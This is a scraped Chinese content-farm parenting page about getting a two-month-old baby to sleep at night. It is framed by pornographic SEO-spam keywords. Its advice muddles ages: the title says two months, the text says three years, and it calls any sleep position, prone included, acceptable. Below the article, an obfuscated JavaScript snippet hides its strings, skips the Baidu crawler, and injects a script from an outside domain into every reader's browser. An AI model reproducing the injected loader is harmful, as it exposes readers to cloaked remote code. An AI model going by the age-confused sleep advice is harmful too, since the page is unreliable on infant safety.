久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

2個(gè)月寶寶晚上不睡覺的治療方法

2017-04-01 13:51:11  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):現(xiàn)在孩子的身體狀況一天不如一天了,現(xiàn)如今,寶寶都會(huì)得各種各樣的疾病,其寶寶晚上睡覺不踏實(shí)給我們的生活帶來(lái)了巨大的苦痛和折磨,讓很多

現(xiàn)在孩子的身體狀況一天不如一天了,現(xiàn)如今,寶寶都會(huì)得各種各樣的疾病,其寶寶晚上睡覺不踏實(shí)給我們的生活帶來(lái)了巨大的苦痛和折磨,讓很多的人飽受著苦難,為此很多人也四處求醫(yī)問診,不知道大家之前有沒有接觸過(guò)寶寶晚上睡覺不踏實(shí)這種情況,這種情況給我們一整個(gè)家庭都帶來(lái)了很大的困擾,那么有什么好的方法來(lái)治療三歲寶寶晚上睡覺不踏實(shí)呢?下面就讓我們一起來(lái)了解一下2個(gè)月寶寶晚上不睡覺的治療方法。

治療方法:

(一)按時(shí)睡覺:

在寶寶入睡前0.5~1小時(shí),應(yīng)讓寶寶安靜下來(lái),不看刺激性的電視節(jié)目,不講緊張可怕的故事,也不玩新玩具。晚上入睡前要洗臉、洗腳、洗屁股。睡前讓孩子排空小便。脫下的衣服應(yīng)整齊地放在相應(yīng)的地方,要按時(shí)上床、起床。逐步形成按時(shí)主動(dòng)上床、起床的習(xí)慣。

(二)自然入睡:

寶寶上床后,晚上要關(guān)上燈;白天可拉上窗簾,使室內(nèi)光線稍暗些。寶寶入睡后,成人不必躡手躡腳。習(xí)慣在過(guò)于安靜的環(huán)境中睡眠的寶寶容易驚醒。只要不突然發(fā)出大的聲響,如“砰”的關(guān)門聲或金屬器皿掉在地上的聲音即可。要培養(yǎng)寶寶上床后不說(shuō)話、不拍不搖、不摟不抱、自動(dòng)躺下、很快入睡、醒來(lái)后不哭鬧的好習(xí)慣。并讓寶寶養(yǎng)成不蒙頭、不含奶頭、不咬被角、不吮手指,不把玩具放在床上或抱玩具入睡以及不把衣褲放在床上的好習(xí)慣。對(duì)不能自動(dòng)入睡的孩子要給以語(yǔ)言愛撫,但決不遷就,要讓寶寶依靠自己的力量調(diào)節(jié)自己入睡前的狀態(tài)。不要用粗暴強(qiáng)制、嚇唬的辦法讓孩子入睡。有的寶寶怕黑夜,可在床頭安一個(gè)臺(tái)燈,教會(huì)寶寶開關(guān),使他能控制黑夜,有利于寶寶安然入睡。

(三)睡姿舒適:

1歲以后的寶寶已形成了自己的入睡姿勢(shì),要尊重寶寶的睡姿,只要寶寶睡得舒適,無(wú)論仰臥、俯臥、側(cè)臥都是可以的。如果寶寶晚上剛喝完奶就要接著睡,宜采取右側(cè)臥位,有利于食物的消化吸收。若寶寶睡的時(shí)間較長(zhǎng),可以幫他變換姿勢(shì)。

(四)睡眠不安的處理:

有的寶寶夜里睡眠不安、易驚醒、哭鬧,父母便立刻將其抱起來(lái)又拍又哄,讓其再度入睡,結(jié)果寶寶很快習(xí)慣于這種在父母懷里睡眠的情況,不拍不哄便不再入睡。為此,對(duì)偶然出現(xiàn)的半夜哭鬧,要查明原因。如白天是否受了委屈,聽了驚險(xiǎn)的故事,睡前是否吃得過(guò)飽,或饑餓、口渴,尿床、內(nèi)衣太緊、太硬以致軀體不適,以及腸道寄生蟲或其他原因?qū)е碌母雇础⒑粑栏腥緦?dǎo)致的鼻塞等,給予針對(duì)性的處理。若無(wú)軀體疾病,則應(yīng)改變其睡眠環(huán)境,如讓其一個(gè)人獨(dú)睡;對(duì)其夜間醒來(lái),父母應(yīng)克服焦慮情緒,既不宜過(guò)分撫弄孩子,也不要煩躁或發(fā)脾氣,則夜間哭鬧可自行糾正過(guò)來(lái)。

①保持被褥清潔,每周最少曬2次,一年最少拆洗3~4次;厚薄應(yīng)隨季節(jié)不同及時(shí)調(diào)換。

②臥室經(jīng)常開窗通風(fēng)換氣,打掃衛(wèi)生。夏天可開窗睡眠、露天睡眠或在涼棚下睡眠。寒冷季節(jié)可打開1~2個(gè)通風(fēng)窗睡眠,寶寶起床前20分鐘可關(guān)閉窗戶以提高室溫,防止寶寶穿衣時(shí)著涼。

以上內(nèi)容為我們介紹了如何治療寶寶晚上睡覺不踏實(shí)的情況,這些內(nèi)容無(wú)疑給我們的寶寶帶來(lái)了巨大的福音,我們就可以運(yùn)用以上介紹的方法有效的治療我們自身出現(xiàn)的問題,還可以將以上文章告訴我們身邊的親友們,讓更多的人恢復(fù)身體健康。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 毛片特级 | 香蕉国产精品 | 午夜影晥| 久久精品国产清自在天天线 | 欧美成人激情视频 | 精品日韩视频 | 精品久久久久久久久久久 | 草久视频 | 国产一区二精品区在线 | 99精品亚洲国产精品久久不卡 | 欧美一区二区免费 | 久久人人爽av | 欧美日韩国产精品 | 欧美精品一区在线发布 | 九九99九九精彩网站 | 国产日韩欧美一区二区 | 欧美一区2区三区4区公司二百 | 国产极品视频 | 欧美一区二区三区四区在线观看 | 日韩欧美一区二区三区免费观看 | 涩涩视频网站在线观看 | 成年人av网站 | 息与子猛烈交尾一区二区 | 国产中文字幕在线 | 亚洲免费在线观看 | 成人福利在线 | 精品成人| 麻豆专区一区二区三区四区五区 | 米奇狠狠操 | 欧美激情在线播放 | 亚洲大尺度网站 | 欧美18免费视频 | 久久av一区二区三区 | 性xxxxxxxxx18欧美 | 在线播放一区二区三区 | 成年免费观看视频 | 欧美xxxx网站| 久久久精品日韩 | 欧美日韩国产精品久久久久 | 成人在线播放 | 国产亚洲欧美在线 |